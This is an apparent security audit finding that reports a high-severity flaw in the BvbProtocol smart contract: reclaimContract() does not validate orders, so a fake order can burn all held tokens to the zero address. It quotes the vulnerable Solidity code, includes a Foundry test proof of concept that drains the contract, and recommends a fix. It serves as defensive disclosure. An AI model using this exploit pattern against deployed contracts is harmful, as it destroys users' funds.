Ruhum

high

# Attacker can lockup all tokens held by BvbProtocol contract

## Summary
It's possible for an attacker to lockup all tokens held by the BvbProtocol contract by transferring it to the 0 address.

## Vulnerability Detail
The `reclaimContract()` function doesn't check whether the passed order is valid before sending the order's funds to the `bear` address. An attacker can create fake orders with arbitrary amounts and assets to send all the contract's tokens to the 0 address.

## Impact
All the tokens held by the BvbProtocol can be locked up indefinitely.

## Code Snippet
The [`reclaimContract()`](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L417-L443) function doesn't verify whether the passed order is valid or not. An invalid order returns the 0-address for the call to `bulls[contractId]`. Because of that, you're only able to send the funds to the 0-address and not to the attacker's own address.
```sol
    function reclaimContract(Order calldata order) public nonReentrant {
        bytes32 orderHash = hashOrder(order);

        // ContractId
        uint contractId = uint(orderHash);

        address bull = bulls[contractId];

        // Check that the contract is expired
        require(block.timestamp > order.expiry, "NOT_EXPIRED_CONTRACT");

        // Check that the contract is not settled
        require(!settledContracts[contractId], "SETTLED_CONTRACT");

        // Check that the contract is not reclaimed
        require(!reclaimedContracts[contractId], "RECLAIMED_CONTRACT");

        uint bullAssetAmount = order.premium + order.collateral;
        if (bullAssetAmount > 0) {
            // Transfer payment tokens to the Bull
            IERC20(order.asset).safeTransfer(bull, bullAssetAmount);
        }

        reclaimedContracts[contractId] = true;

        emit ReclaimedContract(orderHash, order);
    }
```

Here's a test showcasing the issue:

```sol
// test/unit/ReclaimContract.t.sol
    function testCanDestroyFunds() public {
        vm.deal(address(bvb), 10e18);
        vm.prank(address(bvb));
        weth.deposit{value: 10e18}();
        assertEq(weth.balanceOf(address(bvb)), 10e18);
        BvbProtocol.Order memory order = BvbProtocol.Order({
            premium: 5e18,
            collateral: 5e18,
            validity: 0,
            expiry: 0,
            nonce: 0,
            fee: 0,
            maker: address(0),
            asset: address(weth),
            collection: address(0),
            isBull: false
        });
        bvb.reclaimContract(order);

        assertEq(weth.balanceOf(address(bvb)), 0);
    }
```

## Tool used

Manual Review

## Recommendation
By checking whether `bulls[contractId]` returns anything besides the 0-address you can be sure that the order is valid.